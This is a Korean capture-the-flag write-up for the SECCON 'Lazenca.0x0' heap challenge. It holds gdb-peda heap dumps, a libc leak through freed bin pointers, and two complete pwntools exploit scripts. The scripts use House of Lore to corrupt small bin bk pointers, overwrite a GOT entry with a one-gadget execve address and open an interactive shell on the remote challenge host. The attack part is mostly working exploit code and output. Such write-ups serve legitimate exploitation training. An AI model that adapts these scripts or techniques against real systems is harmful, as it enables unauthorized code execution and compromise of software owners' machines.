...
Information for attack
Leak Libc Address
House of lore
One Gadget
...
Exploit Code
...
language | py |
---|---|
title | Exploit code |
- 다음과 같은 Heap 구조 설계가 필요합니다.
- 유저는 1개의 사탕을 Order list에 추가 하고, 주문을 완료 합니다.
- 유저는 2개의 사탕을 Order list에 추가 합니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ parseheap
addr prev size status fd bk
0xa17000 0x0 0x90 Used None None
0xa17090 0x0 0x410 Used None None
0xa174a0 0x0 0x20 Used None None
0xa174c0 0x0 0x20 Used None None
0xa174e0 0x0 0x20 Used None None
0xa17500 0x0 0x20 Used None None
0xa17520 0x0 0x20 Used None None
0xa17540 0x0 0x20 Used None None
0xa17560 0x0 0x20 Used None None
0xa17580 0x0 0x20 Used None None
0xa175a0 0x0 0x20 Used None None
0xa175c0 0x0 0x20 Used None None
0xa175e0 0x0 0x20 Used None None
0xa17600 0x100006567 0x20 Used None None
0xa17620 0xa17630 0x90 Used None None
0xa176b0 0x0 0x20 Used None None
gdb-peda$ |
- 다음과 같은 Heap 구조입니다.
Panel | ||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||
|
- 다음과 같은 방법으로 해제된 Heap 영역을 Small bin에 등록합니다.
- 유저는 처음에 등록한 사탕을 모두 구매 합니다.
- 해당 프로그램은 사탕을 모두 소진을 하면 사용하고 있던 Heap 영역을 모두 해제 합니다.
- 사탕 설명(0x90) 영역은 Unsortedbin에 등록됩니다.
- 이때 fd, bk에 main arena의 주소 값이 저장됩니다.
- 사탕 설명(0x90) 영역은 Unsortedbin에 등록됩니다.
- 그리고 해당 프로그램은 모두 소진된 사탕에 대한 평가 내용을 저장하기 위해 Heap 영역을 할당합니다.
- malloc()는 이때 해제된 사탕 정보(0x20) 영역, 사탕 설명(0x90) 영역을 하나의 영역(0xb0)으로 변경합니다.
- malloc()는 Heap 영역(1200 byte)을 할당으로 인해 해당 영역을 Small bin에 저장합니다.
- 해당 Free chunk의 fd,bk 영역에 Small bin의 주소가 저장됩니다.
Code Block | ||
---|---|---|
| ||
gdb-peda$ parseheap
addr prev size status fd bk
0xa17000 0x0 0x90 Used None None
0xa17090 0x0 0x410 Used None None
0xa174a0 0x0 0x20 Used None None
0xa174c0 0x0 0x20 Used None None
0xa174e0 0x0 0x20 Used None None
0xa17500 0x0 0x20 Used None None
0xa17520 0x0 0x20 Used None None
0xa17540 0x0 0x20 Used None None
0xa17560 0x0 0x20 Used None None
0xa17580 0x0 0x20 Used None None
0xa175a0 0x0 0x20 Used None None
0xa175c0 0x0 0x20 Used None None
0xa175e0 0x0 0x20 Used None None
0xa17600 0x100006567 0xb0 Freed 0x7ff5052a2c18 0x7ff5052a2c18
0xa176b0 0xb0 0x20 Used None None
0xa176d0 0x100006567 0x4c0 Used None None
gdb-peda$ p main_arena.bins[20]
$6 = (mchunkptr) 0xa17600
gdb-peda$ p main_arena.bins[21]
$7 = (mchunkptr) 0xa17600
gdb-peda$ |
- 다음과 같은 Heap 구조입니다.
Panel | ||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||
|
- 다음과 같은 방법으로 Libc address를 추출 할 수 있습니다.
- 유저는 1개의 사탕을 Order list에 추가 합니다.
- Order list에 추가 된 사탕의 정보는 하나의 영역(0xb0)으로 변경 영역에 할당됩니다.
- Order list에 추가 된 사탕의 정보는 하나의 영역(0xb0)으로 변경 영역에 할당됩니다.
- 유저는 Order list의 내용을 출력해 Libc address를 추출 할 수 있습니다.
- 유저는 1개의 사탕을 Order list에 추가 합니다.
Code Block | ||
---|---|---|
| ||
Please pick up the candies to order.
>$ 1
=*= Order list =*=
Order code : 4
Order count : 10
Order candy : Orange
Candy code : 1
Order code : 5
Order count : 10
Order candy : Orange
Candy code : 1
Order code : 6L\xb0\x0c\x85\x7f
Order count : 10
Order candy : Orange
Candy code : 1
Order candy.
1) Order List
2) Add to Order List
3) Cancel one's order.
4) Order candy
5) Exit
Command : $ |
Code Block | ||
---|---|---|
| ||
gdb-peda$ parseheap
addr prev size status fd bk
0xa17000 0x0 0x90 Used None None
0xa17090 0x0 0x410 Used None None
0xa174a0 0x0 0x20 Used None None
0xa174c0 0x0 0x20 Used None None
0xa174e0 0x0 0x20 Used None None
0xa17500 0x0 0x20 Used None None
0xa17520 0x0 0x20 Used None None
0xa17540 0x0 0x20 Used None None
0xa17560 0x0 0x20 Used None None
0xa17580 0x0 0x20 Used None None
0xa175a0 0x0 0x20 Used None None
0xa175c0 0x0 0x20 Used None None
0xa175e0 0x0 0x20 Used None None
0xa17600 0x100006567 0x20 Used None None
0xa17620 0x100006567 0x90 Freed 0x7ff5052a2c18 0x7ff5052a2c18
0xa176b0 0x90 0x20 Used None None
0xa176d0 0x100006567 0x4c0 Used None None
gdb-peda$ x/4gx 0xa17600
0xa17600: 0x0000000100006567 0x0000000000000021
0xa17610: 0x00007ff5052a2c36 0x6e61724f0000000a
gdb-peda$ |
- 다음과 같은 Heap 구조입니다.
Panel | ||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| ||||||||||||||||||||||||||||||||||||
|
- 다음과 같은 스크립트를 이용해 Libc address를 추출 할 수 있습니다.
Code Block |
---|
from pwn import *
#context.log_level = 'debug'
def login(id,pw):
p.recvuntil('Enter your ID.')
p.send(id)
p.recvuntil('Enter your Password.')
p.send(pw)
def setOrderlist(num):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please pick up the candies to order.')
p.send(num)
p.recvuntil('Command : ')
p.send('5')
def getOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('1')
def setOrder(price,desc):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('0) Yes, 1) No')
p.send('0')
p.recvuntil('Enter the price of ')
p.sendline(price)
p.recvuntil('Enter a description of the')
p.send(desc)
p.recvuntil('Command : ')
p.send('5')
def purchase(code,num,comment):
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the code number of the candy to be purchased.')
p.send(code)
p.recvuntil('Please enter the number of the candy to purchase.')
p.send(num)
p.recvuntil('Please enter a comment for candy.')
p.send(comment)
bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)
login('Admin','admin')
setOrderlist('1')
setOrder('10','TEST')
setOrderlist('1')
setOrderlist('1')
purchase('0','10','AA')
setOrderlist('1')
getOrderlist()
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274
log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))
p.recvuntil('Command : ')
p.send('5') |
House of lore
One Gadget
Panel |
---|
Exploit Code
Code Block | ||||
---|---|---|---|---|
| ||||
from pwn import *
#context.log_level = 'debug'
gAccount1bk = 0x604240
gAccount2fd = 0x604268
def fill(addr):
tmp = int(addr)
log.info('Original address(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))
tmp -= 10000
log.info('Address - 10000(int) : ' + str(tmp) + ', (hex) : ' + hex(tmp))
tmp = str(tmp)
for i in range(5):
for j in range(int(tmp[6-i])):
charge(str(i))
for i in range(int(tmp[0:2])):
charge('5')
def setAccount(id):
p.recvuntil('Enter your ID.')
p.send('a')
p.recvuntil('Enter your Password.')
p.send('a')
p.recvuntil('Create an account?')
p.send('0')
p.recvuntil('Enter your New ID.')
p.send(id)
p.recvuntil('Enter your New Password.')
p.send(id)
p.recvuntil('Enter your profile.')
p.send('TEST')
def login(id,pw):
p.recvuntil('Enter your ID.')
p.send(id)
p.recvuntil('Enter your Password.')
p.send(pw)
def logout():
p.recvuntil('Command : ')
p.send('9')
p.recvuntil('1) No')
p.send('0')
def delAccount(num):
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('1')
p.recvuntil('Please enter the number of the account you want to delete')
p.send(num)
p.recvuntil('Command : ')
p.send('3')
def pwChange(num,pw):
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send(num)
p.recvuntil('Enter your New Password.')
p.send(pw)
p.recvuntil('Command : ')
p.send('3')
def charge(num):
p.recvuntil('Command : ')
p.send('3')
p.recvuntil('5) 100000')
p.send(num)
def setOrderlist(num):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please pick up the candies to order.')
p.send(num)
p.recvuntil('Command : ')
p.send('5')
def delOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('3')
p.recvuntil('Candy code: ')
p.send('0')
p.recvuntil('Command : ')
p.send('5')
def getOrderlist():
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('1')
def setOrder(price,desc):
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('Command : ')
p.send('4')
p.recvuntil('0) Yes, 1) No')
p.send('0')
p.recvuntil('Enter the price of ')
p.sendline(price)
p.recvuntil('Enter a description of the')
p.send(desc)
p.recvuntil('Command : ')
p.send('5')
def purchase(code,num,comment):
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the code number of the candy to be purchased.')
p.send(code)
p.recvuntil('Please enter the number of the candy to purchase.')
p.send(num)
p.recvuntil('Please enter a comment for candy.')
p.send(comment)
bin = ELF('./Lazenca.0x0')
p = remote('n8.pwn.tk.seccon.spica.bz',9999)
signal = bin.got['signal']
login('Admin','admin')
setOrderlist('1')
setOrder('10','TEST')
setOrderlist('1')
setOrderlist('1')
purchase('0','10','AA')
setOrderlist('1')
getOrderlist()
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recvuntil('Order code : ')
p.recv(1)
tmp = p.recv(5)
tmp = '\x00' + tmp
libcLeak = u64(tmp.ljust(8,'\x00'))
libcBase = libcLeak - 0x3c4c00
execve = libcBase + 0xF0274
log.info("Libc leak : " + hex(libcLeak))
log.info("Libc base: " + hex(libcBase))
log.info("execve : " + hex(execve))
p.recvuntil('Command : ')
p.send('5')
#Design heap
delOrderlist()
setOrder('20','BB')
logout()
#Create account 1
setAccount('asdf')
login('asdf','asdf')
fill(gAccount2fd)
logout()
#Create account 2
setAccount('qwer')
login('qwer','qwer')
fill(gAccount1bk)
logout()
#Set gAccount[1].fd->state
login('Admin','admin')
delAccount('2')
setOrderlist('0')
setOrder('1','A'*24)
#register bins[16,17]
purchase('1','10','AA')
#Overwrite Smallbin bk
pwChange('2',p64(gAccount1bk))
setOrderlist('3')
setOrder('1','A'*24)
purchase('1','10','AA')
#Overwrite gAccount[1].fd
setOrderlist('2')
setOrder('1',p64(signal))
#Overwrite fflush.got
p.recvuntil('Command : ')
p.send('5')
p.recvuntil('Command : ')
p.send('2')
p.recvuntil('Please enter the number of the account you want to change PW')
p.send('2')
p.recvuntil('Enter your New Password.')
p.send(p64(execve))
#Get shell
p.interactive() |
Flag
Flag | SECCON{Y0u h4ve 4cquired the "H0use 0f L0re" techn0l0gy. by Lazenca.0x0} |
---|
Flag
Related Site
- N / a
Panel |
---|